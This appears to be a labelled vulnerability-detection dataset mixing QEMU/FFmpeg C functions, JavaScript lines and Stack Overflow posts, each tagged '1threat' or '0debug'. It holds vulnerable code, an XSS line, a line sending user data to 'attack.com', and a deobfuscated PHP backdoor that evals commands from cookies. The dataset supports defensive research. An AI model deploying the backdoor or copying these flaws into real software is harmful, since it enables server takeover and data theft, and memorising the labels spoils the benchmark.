void helper_iret_protected(int shift, int next_eip) { int tss_selector, type; uint32_t e1, e2; if (env->eflags & NT_MASK) { #ifdef TARGET_X86_64 if (env->hflags & HF_LMA_MASK) raise_exception_err(EXCP0D_GPF, 0); #endif tss_selector = lduw_kernel(env->tr.base + 0); if (tss_selector & 4) raise_exception_err(EXCP0A_TSS, tss_selector & 0xfffc); if (load_segment(&e1, &e2, tss_selector) != 0) raise_exception_err(EXCP0A_TSS, tss_selector & 0xfffc); type = (e2 >> DESC_TYPE_SHIFT) & 0x17; if (type != 3) raise_exception_err(EXCP0A_TSS, tss_selector & 0xfffc); switch_tss(tss_selector, e1, e2, SWITCH_TSS_IRET, next_eip); } else { helper_ret_protected(shift, 1, 0); } env->hflags2 &= ~HF2_NMI_MASK; #ifdef CONFIG_KQEMU if (kqemu_is_ok(env)) { CC_OP = CC_OP_EFLAGS; env->exception_index = -1; cpu_loop_exit(); } #endif }
1threat
IntelliJ 2017.2 stuck on `Loading archetype list` for `New Project` > `Maven` : <p>When choosing the <code>Create New Project</code> option after launching IntelliJ 2017.2, I get this endlessly spinning wheel on the <code>Maven</code> tag, saying “Loading archetype list…”.</p> <p><a href="https://i.stack.imgur.com/8lNNN.png" rel="noreferrer"><img src="https://i.stack.imgur.com/8lNNN.png" alt="screen shot of New Project wizard panel"></a></p> <p>Any way to get to a Maven archetype?</p>
0debug
static void openrisc_sim_net_init(MemoryRegion *address_space, hwaddr base, hwaddr descriptors, qemu_irq irq, NICInfo *nd) { DeviceState *dev; SysBusDevice *s; dev = qdev_create(NULL, "open_eth"); qdev_set_nic_properties(dev, nd); qdev_init_nofail(dev); s = SYS_BUS_DEVICE(dev); sysbus_connect_irq(s, 0, irq); memory_region_add_subregion(address_space, base, sysbus_mmio_get_region(s, 0)); memory_region_add_subregion(address_space, descriptors, sysbus_mmio_get_region(s, 1)); }
1threat
document.getElementById('input').innerHTML = user_input;
1threat
matlab script to print data into plain text file : x=-1:.1:1; y=-2:.1:2; f(x,y)=1-x^2-y^2 I want to print the data into a text file with 3 columns: one for x, one for y and one for f(x, y)=1-x^2-y^2.(There should be 20 data points for x, and 40 for y)
0debug
How to use a variable on a table name : SET @tab = 'tableName' SET @field1 = (SELECT field1 FROM '+@tab+' WHERE colName IS NULL) I'm getting this error: Must declare the table variable "@tab". I need to set the result on @field1
0debug
I want to add a max queue size like showing 10 then the next 10 because richembed has 1024 characters limit : This is my code. For playing songs. I added the code to the hastebin because it's too long [Code is in here.][1] [1]: https://hastebin.com/uvihasifom.js
0debug
static void pci_reset(EEPRO100State * s) { uint32_t device = s->device; uint8_t *pci_conf = s->pci_dev->config; logout("%p\n", s); pci_config_set_vendor_id(pci_conf, PCI_VENDOR_ID_INTEL); pci_config_set_device_id(pci_conf, PCI_DEVICE_ID_INTEL_82551IT); PCI_CONFIG_16(PCI_COMMAND, 0x0000); PCI_CONFIG_16(PCI_STATUS, 0x2800); PCI_CONFIG_8(PCI_REVISION_ID, 0x08); PCI_CONFIG_8(0x09, 0x00); pci_config_set_class(pci_conf, PCI_CLASS_NETWORK_ETHERNET); PCI_CONFIG_8(0x0d, 0x20); #if defined(TARGET_I386) #endif #if 0 PCI_CONFIG_32(PCI_BASE_ADDRESS_0, PCI_ADDRESS_SPACE_MEM | PCI_ADDRESS_SPACE_MEM_PREFETCH); PCI_CONFIG_32(PCI_BASE_ADDRESS_1, PCI_ADDRESS_SPACE_IO); #if 0 PCI_CONFIG_32(PCI_BASE_ADDRESS_2, 0xfffe0000 | PCI_ADDRESS_SPACE_MEM); #endif #endif PCI_CONFIG_32(0x30, 0x00000000); PCI_CONFIG_8(0x34, 0xdc); PCI_CONFIG_8(0x3d, 1); PCI_CONFIG_8(0x3e, 0x08); PCI_CONFIG_8(0x3f, 0x18); PCI_CONFIG_32(0xdc, 0x7e210001); switch (device) { case i82551: PCI_CONFIG_8(PCI_REVISION_ID, 0x0f); break; case i82557B: PCI_CONFIG_16(PCI_DEVICE_ID, 0x1229); PCI_CONFIG_8(PCI_REVISION_ID, 0x02); break; case i82557C: PCI_CONFIG_16(PCI_DEVICE_ID, 0x1229); PCI_CONFIG_8(PCI_REVISION_ID, 0x03); break; case i82558B: PCI_CONFIG_16(PCI_DEVICE_ID, 0x1229); PCI_CONFIG_16(PCI_STATUS, 0x2810); PCI_CONFIG_8(PCI_REVISION_ID, 0x05); break; case i82559C: PCI_CONFIG_16(PCI_DEVICE_ID, 0x1229); PCI_CONFIG_16(PCI_STATUS, 0x2810); break; case i82559ER: PCI_CONFIG_16(PCI_STATUS, 0x2810); PCI_CONFIG_8(PCI_REVISION_ID, 0x09); break; default: logout("Device %X is undefined!\n", device); } if (device == i82557C || device == i82558B || device == i82559C) { logout("Get device id and revision from EEPROM!!!\n"); } }
1threat
uint32_t pci_default_read_config(PCIDevice *d, uint32_t address, int len) { uint32_t val = 0; assert(len == 1 || len == 2 || len == 4); len = MIN(len, pci_config_size(d) - address); memcpy(&val, d->config + address, len); return le32_to_cpu(val); }
1threat
static uint64_t macio_nvram_readb(void *opaque, target_phys_addr_t addr, unsigned size) { MacIONVRAMState *s = opaque; uint32_t value; addr = (addr >> s->it_shift) & (s->size - 1); value = s->data[addr]; NVR_DPRINTF("readb addr %04x val %x\n", (int)addr, value); return value; }
1threat
C# Display questions and wait for reponce : I am writing a program that reads a question document (example below) and presents the question and answers in an appropriate way. But my question is how do i get my program to display one question and then wait for the answer before then displaying the next. The answers are displayed using the method Display*Questiontype*(?). eg DisplayMultipleChoice(Question,CAnswer,Ianswer1,Ianswer2,Ianswer3). Question Document; & Multiple choice question <br/> ~ Correct Answer <br/> - Incorrect Answer <br/> - Incorrect Answer <br/> - Incorrect Answer <br/> ? Textbox answer question <br/> ~Correct Answer <br/> $ Webpage Question <br/> @ Webpage <br/>
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
Multiply two columns in two tables linq to sql : I need do in c# this sql query Select cv.manv, cv.luong1h*ct.sogiolam From congviec cv inner join chitiet ct on cv.manv=ct.manv How can I do it with LINQ to sql? Thanks!
0debug
static struct omap_pwl_s *omap_pwl_init(MemoryRegion *system_memory, hwaddr base, omap_clk clk) { struct omap_pwl_s *s = g_malloc0(sizeof(*s)); omap_pwl_reset(s); memory_region_init_io(&s->iomem, NULL, &omap_pwl_ops, s, "omap-pwl", 0x800); memory_region_add_subregion(system_memory, base, &s->iomem); omap_clk_adduser(clk, qemu_allocate_irqs(omap_pwl_clk_update, s, 1)[0]); return s; }
1threat
CodeDom Provider could not be located on IIS7 : <p>I have added a site on my IIS but when I try to get to the default page, I get the following error :</p> <pre><code>Description: An error occurred during the processing of a configuration file required to service this request. Please review the specific error details below and modify your configuration file appropriately. Parser Error Message: The CodeDom provider type "Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" could not be located. Source Error: Line 12: &lt;system.codedom&gt; Line 13: &lt;compilers&gt; Line 14: &lt;compiler language="c#;cs;csharp" extension=".cs" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:6 /nowarn:1659;1699;1701" /&gt; Line 15: &lt;compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:14 /nowarn:41008 /define:_MYTYPE=\&amp;quot;Web\&amp;quot; /optionInfer+" /&gt; Line 16: &lt;/compilers&gt; </code></pre> <p>Do I need to install the "Microsoft.CodeDom.Providers.DotNetCompilerPlatform" package with nuget to make it works or is it something different ?</p>
0debug
Installing new Delphi and safe protecting your source codes : <p>It is really pain to re-install windows or change the PC. Let's say we installed Delphi to a new computer. Problems we are always having are:</p> <ol> <li>Changing default settings</li> <li>Installing components</li> <li>Copying source codes of our apps from other computer or disk</li> </ol> <p>So do you guys doing the same or do you have any shortcut todo all these jobs for you? Also, how do you protect your source codes? Do you have any safe cloud drive to keep your source codes of your apps?</p>
0debug
encryption using AES in android, and decryption in Java : <p>I have successfully encrypted password string in android and sent it to server where it is stored in database, now in order to implement "forgot-password" we need to decrypt that same "encrypted-password" in java.</p> <p>used this library for encryption/decryption in android: <strong>com.scottyab:aescrypt:0.0.1</strong></p> <p>Any help is appreciated. Thanks in advance.</p>
0debug
vnc_display_setup_auth(VncDisplay *vs, bool password, bool sasl, bool tls, bool x509, bool websocket) { if (password) { if (tls) { vs->auth = VNC_AUTH_VENCRYPT; if (websocket) { vs->ws_tls = true; } if (x509) { VNC_DEBUG("Initializing VNC server with x509 password auth\n"); vs->subauth = VNC_AUTH_VENCRYPT_X509VNC; } else { VNC_DEBUG("Initializing VNC server with TLS password auth\n"); vs->subauth = VNC_AUTH_VENCRYPT_TLSVNC; } } else { VNC_DEBUG("Initializing VNC server with password auth\n"); vs->auth = VNC_AUTH_VNC; vs->subauth = VNC_AUTH_INVALID; } if (websocket) { vs->ws_auth = VNC_AUTH_VNC; } else { vs->ws_auth = VNC_AUTH_INVALID; } } else if (sasl) { if (tls) { vs->auth = VNC_AUTH_VENCRYPT; if (websocket) { vs->ws_tls = true; } if (x509) { VNC_DEBUG("Initializing VNC server with x509 SASL auth\n"); vs->subauth = VNC_AUTH_VENCRYPT_X509SASL; } else { VNC_DEBUG("Initializing VNC server with TLS SASL auth\n"); vs->subauth = VNC_AUTH_VENCRYPT_TLSSASL; } } else { VNC_DEBUG("Initializing VNC server with SASL auth\n"); vs->auth = VNC_AUTH_SASL; vs->subauth = VNC_AUTH_INVALID; } if (websocket) { vs->ws_auth = VNC_AUTH_SASL; } else { vs->ws_auth = VNC_AUTH_INVALID; } } else { if (tls) { vs->auth = VNC_AUTH_VENCRYPT; if (websocket) { vs->ws_tls = true; } if (x509) { VNC_DEBUG("Initializing VNC server with x509 no auth\n"); vs->subauth = VNC_AUTH_VENCRYPT_X509NONE; } else { VNC_DEBUG("Initializing VNC server with TLS no auth\n"); vs->subauth = VNC_AUTH_VENCRYPT_TLSNONE; } } else { VNC_DEBUG("Initializing VNC server with no auth\n"); vs->auth = VNC_AUTH_NONE; vs->subauth = VNC_AUTH_INVALID; } if (websocket) { vs->ws_auth = VNC_AUTH_NONE; } else { vs->ws_auth = VNC_AUTH_INVALID; } } }
1threat
static void rtsp_send_cmd_async (AVFormatContext *s, const char *cmd, RTSPMessageHeader *reply, unsigned char **content_ptr) { RTSPState *rt = s->priv_data; char buf[4096], buf1[1024]; rt->seq++; av_strlcpy(buf, cmd, sizeof(buf)); snprintf(buf1, sizeof(buf1), "CSeq: %d\r\n", rt->seq); av_strlcat(buf, buf1, sizeof(buf)); if (rt->session_id[0] != '\0' && !strstr(cmd, "\nIf-Match:")) { snprintf(buf1, sizeof(buf1), "Session: %s\r\n", rt->session_id); av_strlcat(buf, buf1, sizeof(buf)); } if (rt->auth_b64) av_strlcatf(buf, sizeof(buf), "Authorization: Basic %s\r\n", rt->auth_b64); av_strlcat(buf, "\r\n", sizeof(buf)); dprintf(s, "Sending:\n%s--\n", buf); url_write(rt->rtsp_hd, buf, strlen(buf)); rt->last_cmd_time = av_gettime(); }
1threat
Convert string to date in sql : I am facing a problem where I need to convert a string to date like 11 years 10 months 12 days to a date in SQL. Please help any help would be appreciated.
0debug
static int get_qcd(Jpeg2000DecoderContext *s, int n, Jpeg2000QuantStyle *q, uint8_t *properties) { Jpeg2000QuantStyle tmp; int compno, ret; if ((ret = get_qcx(s, n, &tmp)) < 0) return ret; for (compno = 0; compno < s->ncomponents; compno++) if (!(properties[compno] & HAD_QCC)) memcpy(q + compno, &tmp, sizeof(tmp)); return 0; }
1threat
static void address_space_update_topology(AddressSpace *as) { FlatView old_view = as->current_map; FlatView new_view = generate_memory_topology(as->root); address_space_update_topology_pass(as, old_view, new_view, false); address_space_update_topology_pass(as, old_view, new_view, true); as->current_map = new_view; flatview_destroy(&old_view); address_space_update_ioeventfds(as); }
1threat
C++ Printing exactly what the user entered : <p>I am trying to print an array that has values like 3.0, 1, 2, 4.00, 40.000 so for example i want to save exactly what the user enters and prints it, like if for the first field they enter 1, it will print 1, if they enter 2.0 it will print 2.0 and the same goes for the other values.</p>
0debug
My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it? : <p>I have three websites all hosted on the same webserver. Recently I was working on one of the websites and noticed that, about a month ago, a bunch of files had been changed. Specifically, all instances of <code>index.html</code> had been renamed to <code>index.html.bak.bak</code>, and <code>index.php</code> files have been put in their places. The <code>index.php</code> files are relatively simple; they include a file hidden somewhere in each website's filesystem (seemingly a random folder) that's been obfuscated with JS hex encoding, then echo the original index.html:</p> <pre><code>&lt;?php /*2d4f2*/ @include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f"; /*2d4f2*/ echo file_get_contents('index.html.bak.bak'); </code></pre> <p>The included file here was</p> <p><code>/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico</code></p> <p>On another domain, it was</p> <p><code>/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico</code></p> <p>As you could probably guess, these aren't actually favicons - they're just php files with a different extension. Now, I have no clue what these files do (which is why I'm asking here). They were totally obfuscated, but <a href="https://malwaredecoder.com/" rel="noreferrer">https://malwaredecoder.com/</a> seems to be able to crack through it. <a href="https://malwaredecoder.com/result/cfdb08d8811164077345c6c3a94ff95a" rel="noreferrer">The results can be found here,</a> but I've pasted the de-obfuscated code below:</p> <pre><code>@ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "\n"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) { define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); $data = NULL; $data_key = NULL; $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109'; global $cs_auth; if (!function_exists('file_put_contents')) { function file_put_contents($n, $d, $flag = False) { $mode = $flag == 8 ? 'a' : 'w'; $f = @fopen($n, $mode); if ($f === False) { return 0; } else { if (is_array($d)) $d = implode($d); $bytes_written = fwrite($f, $d); fclose($f); return $bytes_written; } } } if (!function_exists('file_get_contents')) { function file_get_contents($filename) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); return $fcontents; } } function cs_get_current_filepath() { return trim(preg_replace("/\(.*\$/", '', __FILE__)); } function cs_decrypt_phase($data, $key) { $out_data = ""; for ($i=0; $i&lt;strlen($data);) { for ($j=0; $j&lt;strlen($key) &amp;&amp; $i&lt;strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function cs_decrypt($data, $key) { global $cs_auth; return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth); } function cs_encrypt($data, $key) { global $cs_auth; return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key); } function cs_get_plugin_config() { $self_content = @file_get_contents(cs_get_current_filepath()); $config_pos = strpos($self_content, md5(cs_get_current_filepath())); if ($config_pos !== FALSE) { $config = substr($self_content, $config_pos + 32); $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath()))); } else { $plugins = Array(); } return $plugins; } function cs_set_plugin_config($plugins) { $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath()))); $self_content = @file_get_contents(cs_get_current_filepath()); $config_pos = strpos($self_content, md5(cs_get_current_filepath())); if ($config_pos !== FALSE) { $config_old = substr($self_content, $config_pos + 32); $self_content = str_replace($config_old, $config_enc, $self_content); } else { $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc; } @file_put_contents(cs_get_current_filepath(), $self_content); } function cs_plugin_add($name, $base64_data) { $plugins = cs_get_plugin_config(); $plugins[$name] = base64_decode($base64_data); cs_set_plugin_config($plugins); } function cs_plugin_rem($name) { $plugins = cs_get_plugin_config(); unset($plugins[$name]); cs_set_plugin_config($plugins); } function cs_plugin_load($name=NULL) { foreach (cs_get_plugin_config() as $pname=&gt;$pcontent) { if ($name) { if (strcmp($name, $pname) == 0) { eval($pcontent); break; } } else { eval($pcontent); } } } foreach ($_COOKIE as $key=&gt;$value) { $data = $value; $data_key = $key; } if (!$data) { foreach ($_POST as $key=&gt;$value) { $data = $value; $data_key = $key; } } $data = @unserialize(cs_decrypt(base64_decode($data), $data_key)); if (isset($data['ak']) &amp;&amp; $cs_auth==$data['ak']) { if ($data['a'] == 'i') { $i = Array( 'pv' =&gt; @phpversion(), 'sv' =&gt; '2.0-1', 'ak' =&gt; $data['ak'], ); echo @serialize($i); exit; } elseif ($data['a'] == 'e') { eval($data['d']); } elseif ($data['a'] == 'plugin') { if($data['sa'] == 'add') { cs_plugin_add($data['p'], $data['d']); } elseif($data['sa'] == 'rem') { cs_plugin_rem($data['p']); } } echo $data['ak']; } cs_plugin_load(); } </code></pre> <p>In addition, there is a file called <code>init5.php</code> in one of the website's content folders, which after deobfuscating as much as possible, becomes:</p> <pre><code>$GLOBALS['893\Gt3$3'] = $_POST; $GLOBALS['S9]&lt;\&lt;\$'] = $_COOKIE; @&gt;P&gt;r"$,('$66N6rTNj', NULL); @&gt;P&gt;r"$,('TNjr$66N6"', 0); @&gt;P&gt;r"$,('k3'r$'$9#,&gt;NPr,&gt;k$', 0); @"$,r,&gt;k$rT&gt;k&gt;,(0); $w6f96424 = NULL; $s02c4f38 = NULL; global $y10a790; function a31f0($w6f96424, $afb8d) { $p98c0e = ""; for ($r035e7=0; $r035e7&lt;",6T$P($w6f96424);) { for ($l545=0; $l545&lt;",6T$P($afb8d) &amp;&amp; $r035e7&lt;",6T$P($w6f96424); $l545++, $r035e7++) { $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545])); } } return $p98c0e; } function la30956($w6f96424, $afb8d) { global $y10a790; return 3\x9&lt;(3\x9&lt;($w6f96424, $y10a790), $afb8d); } foreach ($GLOBALS['S9]&lt;\&lt;\$'] as $afb8d=&gt;$ua56c9d) { $w6f96424 = $ua56c9d; $s02c4f38 = $afb8d; } if (!$w6f96424) { foreach ($GLOBALS['893\Gt3$3'] as $afb8d=&gt;$ua56c9d) { $w6f96424 = $ua56c9d; $s02c4f38 = $afb8d; } } $w6f96424 = @#P"$6&gt;3T&gt;a$(T3\&lt;]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38)); if (isset($w6f96424['38']) &amp;&amp; $y10a790==$w6f96424['38']) { if ($w6f96424['3'] == '&gt;') { $r035e7 = Array( '@=' =&gt; @@)@=$6"&gt;NP(), '"=' =&gt; 'x%&lt;Fx', ); echo @"$6&gt;3T&gt;a$($r035e7); } elseif ($w6f96424['3'] == '$') { eval($w6f96424['`']); } } </code></pre> <p>There are more obfuscated PHP files the more I look, which is kinda scary. There's <em>tons</em> of them. Even Wordpress' <code>index.php</code> files seem to have been infected; the obfuscated <code>@include</code>s have been added to them. In addition, on one of the websites, there's a file titled 'ssh' that seems to be some kind of binary file (maybe the 'ssh' program itself?)</p> <p>Does anyone know what these are or do? How did they get on my server? How can I get rid of them and make sure they never comes back?</p> <p>Some other info: my webhost is Laughing Squid; I have no shell access. The server runs Linux, Apache 2.4, and PHP 5.6.29. Thank you!</p>
0debug
kern_return_t GetBSDPath( io_iterator_t mediaIterator, char *bsdPath, CFIndex maxPathSize ) { io_object_t nextMedia; kern_return_t kernResult = KERN_FAILURE; *bsdPath = '\0'; nextMedia = IOIteratorNext( mediaIterator ); if ( nextMedia ) { CFTypeRef bsdPathAsCFString; bsdPathAsCFString = IORegistryEntryCreateCFProperty( nextMedia, CFSTR( kIOBSDNameKey ), kCFAllocatorDefault, 0 ); if ( bsdPathAsCFString ) { size_t devPathLength; strcpy( bsdPath, _PATH_DEV ); strcat( bsdPath, "r" ); devPathLength = strlen( bsdPath ); if ( CFStringGetCString( bsdPathAsCFString, bsdPath + devPathLength, maxPathSize - devPathLength, kCFStringEncodingASCII ) ) { kernResult = KERN_SUCCESS; } CFRelease( bsdPathAsCFString ); } IOObjectRelease( nextMedia ); } return kernResult; }
1threat
static inline int onenand_prog_main(OneNANDState *s, int sec, int secn, void *src) { int result = 0; if (secn > 0) { uint32_t size = (uint32_t)secn * 512; const uint8_t *sp = (const uint8_t *)src; uint8_t *dp = 0; if (s->blk_cur) { dp = g_malloc(size); if (!dp || blk_read(s->blk_cur, sec, dp, secn) < 0) { result = 1; } } else { if (sec + secn > s->secs_cur) { result = 1; } else { dp = (uint8_t *)s->current + (sec << 9); } } if (!result) { uint32_t i; for (i = 0; i < size; i++) { dp[i] &= sp[i]; } if (s->blk_cur) { result = blk_write(s->blk_cur, sec, dp, secn) < 0; } } if (dp && s->blk_cur) { g_free(dp); } } return result; }
1threat
set default HTML on tinymce init : i just want to insert passed html code from database into tinymce textarea var editor_config = { path_absolute : "/", height: 600, plugins: "directionality", directionality :"rtl", selector: "textarea.my-editor", }; tinymce.init(editor_config);
0debug
Port 80 in use. Try --listen PORT. Linux : <p>Port 80 is in use, so I was wondering how I could kill the process running on port 80.</p>
0debug
How does hashtable read correct values in case of collision? : <p>I have some hashtable. For instance I have two entities like</p> <pre><code>john = { 1stname: jonh, 2ndname: johnson }, eric = { 1stname: eric, 2ndname: ericson } </code></pre> <p>Then I put them in hashtable:</p> <pre><code>ht["john"] = john; ht["eric"] = eric; </code></pre> <p>Let's imagine there is a collision and hashtable use chaining to fix it. As a result there should be a linked list with these two entities like this<a href="https://i.stack.imgur.com/JBGDd.png" rel="noreferrer"><img src="https://i.stack.imgur.com/JBGDd.png" alt="enter image description here"></a> How does hashtable understand what entity should be returned for key? Hash values are the same and it knows nothing about entities structure. For instance if I write this<code>var val = ht["john"];</code> how does hashtable (having only key value and its hash) find out that value should be <strong>john</strong> record and not <strong>eric</strong>.</p>
0debug
COPY with docker but with exclusion : <p>In a Dockerfile, I have</p> <pre><code>COPY . . </code></pre> <p>I want to exclude an entire directory, in my case, node_modules directory.</p> <p>Something like this:</p> <pre><code> COPY [all but **/node_modules/**] . </code></pre> <p>Is this possible with Docker?</p>
0debug
How to take out int value from JSON object : i'm working with Laravel 5 right now and i'm stuck with this problem. I've got response from DB query : [{"id":1}] and i want to take out 1 as int or string. Any ideas?
0debug
Join Syntax with loop to left table and list to the columns : <p>I have those 3 tables </p> <pre><code>Warehouse Id name 1 Warehouse 1 2 Warehouse 2 Items Id description 1 Item 1 2 Item 2 3 Item 3 itemmovement itemid qtyin qtyout warehouseid 1 2 1 1 1 1 1 2 2 2 1 1 2 3 1 2 1 1 2 1 2 Result ItemId SumQuantityWarehouse1 SumQuantityWarehouse2 1 1 2 2 3 1 3 0 0 </code></pre> <p>I need the result to sum up sum(qtyin)-sum(qtyout) with respect to itemid and warehouseid , by listing all the warehouses in columns with the quantities of each item as shown in the result</p>
0debug
void qio_channel_socket_dgram_async(QIOChannelSocket *ioc, SocketAddressLegacy *localAddr, SocketAddressLegacy *remoteAddr, QIOTaskFunc callback, gpointer opaque, GDestroyNotify destroy) { QIOTask *task = qio_task_new( OBJECT(ioc), callback, opaque, destroy); struct QIOChannelSocketDGramWorkerData *data = g_new0( struct QIOChannelSocketDGramWorkerData, 1); data->localAddr = QAPI_CLONE(SocketAddressLegacy, localAddr); data->remoteAddr = QAPI_CLONE(SocketAddressLegacy, remoteAddr); trace_qio_channel_socket_dgram_async(ioc, localAddr, remoteAddr); qio_task_run_in_thread(task, qio_channel_socket_dgram_worker, data, qio_channel_socket_dgram_worker_free); }
1threat
i want to have xpath of this code with html agility pack : <dt>Category</dt> <dd> <ol> <li> <a href="http://www.shophive.com/apple?cat=10">Mac / Macbooks</a> (165) </li> <li> <a href="http://www.shophive.com/apple?cat=18">iPhone</a> (459) </li> <li> <a href="http://www.shophive.com/apple?cat=20">iPad</a> (221) </li> <li> <a href="http://www.shophive.com/apple?cat=486">Watch</a> (129) </li> <li> <a href="http://www.shophive.com/apple?cat=16">iPod</a> (85) </li> <li> <a href="http://www.shophive.com/apple?cat=574">More</a> (69) </li> </ol> </dd> i want to have xpath from this code till 'More' but there are other li and a tag too below this code, my code is selecting those li and a tags too. help me find the xpath of this expression
0debug
How to know, all arrays are uniq(Equal) from multiple arrays list in RUBY : Would like to know whether all arrays are same from list of arrays. Like == (Equalator) will be helpful to compare only 2 arrays but want know is there any library method to know is all arrays are same. Share your ideas.
0debug
yuv2rgb48_2_c_template(SwsContext *c, const int32_t *buf[2], const int32_t *ubuf[2], const int32_t *vbuf[2], const int32_t *abuf[2], uint16_t *dest, int dstW, int yalpha, int uvalpha, int y, enum AVPixelFormat target) { const int32_t *buf0 = buf[0], *buf1 = buf[1], *ubuf0 = ubuf[0], *ubuf1 = ubuf[1], *vbuf0 = vbuf[0], *vbuf1 = vbuf[1]; int yalpha1 = 4096 - yalpha; int uvalpha1 = 4096 - uvalpha; int i; for (i = 0; i < ((dstW + 1) >> 1); i++) { int Y1 = (buf0[i * 2] * yalpha1 + buf1[i * 2] * yalpha) >> 14; int Y2 = (buf0[i * 2 + 1] * yalpha1 + buf1[i * 2 + 1] * yalpha) >> 14; int U = (ubuf0[i] * uvalpha1 + ubuf1[i] * uvalpha + (-128 << 23)) >> 14; int V = (vbuf0[i] * uvalpha1 + vbuf1[i] * uvalpha + (-128 << 23)) >> 14; int R, G, B; Y1 -= c->yuv2rgb_y_offset; Y2 -= c->yuv2rgb_y_offset; Y1 *= c->yuv2rgb_y_coeff; Y2 *= c->yuv2rgb_y_coeff; Y1 += 1 << 13; Y2 += 1 << 13; R = V * c->yuv2rgb_v2r_coeff; G = V * c->yuv2rgb_v2g_coeff + U * c->yuv2rgb_u2g_coeff; B = U * c->yuv2rgb_u2b_coeff; output_pixel(&dest[0], av_clip_uintp2(R_B + Y1, 30) >> 14); output_pixel(&dest[1], av_clip_uintp2( G + Y1, 30) >> 14); output_pixel(&dest[2], av_clip_uintp2(B_R + Y1, 30) >> 14); output_pixel(&dest[3], av_clip_uintp2(R_B + Y2, 30) >> 14); output_pixel(&dest[4], av_clip_uintp2( G + Y2, 30) >> 14); output_pixel(&dest[5], av_clip_uintp2(B_R + Y2, 30) >> 14); dest += 6; } }
1threat
static void vnc_init_basic_info(SocketAddressLegacy *addr, VncBasicInfo *info, Error **errp) { switch (addr->type) { case SOCKET_ADDRESS_LEGACY_KIND_INET: info->host = g_strdup(addr->u.inet.data->host); info->service = g_strdup(addr->u.inet.data->port); if (addr->u.inet.data->ipv6) { info->family = NETWORK_ADDRESS_FAMILY_IPV6; } else { info->family = NETWORK_ADDRESS_FAMILY_IPV4; } break; case SOCKET_ADDRESS_LEGACY_KIND_UNIX: info->host = g_strdup(""); info->service = g_strdup(addr->u.q_unix.data->path); info->family = NETWORK_ADDRESS_FAMILY_UNIX; break; case SOCKET_ADDRESS_LEGACY_KIND_VSOCK: case SOCKET_ADDRESS_LEGACY_KIND_FD: error_setg(errp, "Unsupported socket address type %s", SocketAddressLegacyKind_lookup[addr->type]); break; default: abort(); } return; }
1threat
I need help finding out why my program doesn't return 0 in an if statement : I don't know what im doing wrong my program is not returning 0 when i press n when it ask me if i want to accept the charges. I want the program to stop when i press n and when y to run the $25 charge. Can someone please explain to me what im doing wrong i would really appreciated I been stuck on this part of the code all day. #include <iostream> #include <iomanip> #include <cmath> #include <cstdlib> using namespace std; int main() { double InitialAmount, WithdrawAmount; cout << fixed << setprecision(2); cout << "Deposite initial amount: "; cin >> InitialAmount; if (cin.fail()) { cin >> InitialAmount; cout << "Invalid initial amount" << endl; return 0; } if (InitialAmount < 0) { cout << "Balance under 0, cannot withdraw" << endl; return 0; } cout << "Enter an amount to withdraw: "; cin >> WithdrawAmount; if (cin.fail()) { cin >> WithdrawAmount; cout << "Invalid withdraw amount" << endl; return 0; } if (WithdrawAmount > 500) { cout << "Cannot withdraw this amount" << endl; return 0; } double YesFees, InsufFees; if (InitialAmount > 1 and WithdrawAmount > InitialAmount) { cout << "Insufficient funds for this withdrawal There will be a $25.00 service charge. Would you like to continue? (Y/N): "; cin >> InsufFees; if (InsufFees == 'y') { YesFees = 25; } if (InsufFees == 'n') { return 0; } } double fees; if (WithdrawAmount > 300) { fees = WithdrawAmount * .04; } cout << left << setw(20) << setfill('.') << "Amount withdrawn"; cout << "$" << setw(10) << setfill (' ') << right << WithdrawAmount << endl; cout << left << setw(20) << setfill('.') << "Amount of fees"; cout << "$" << setw(10) << setfill (' ') << right << fees + YesFees << endl; cout << left << setw(20) << setfill('.') << "Balance"; cout << "$" << setw(10) << setfill (' ') << right << InitialAmount - WithdrawAmount - YesFees - fees << endl; return 0; }
0debug
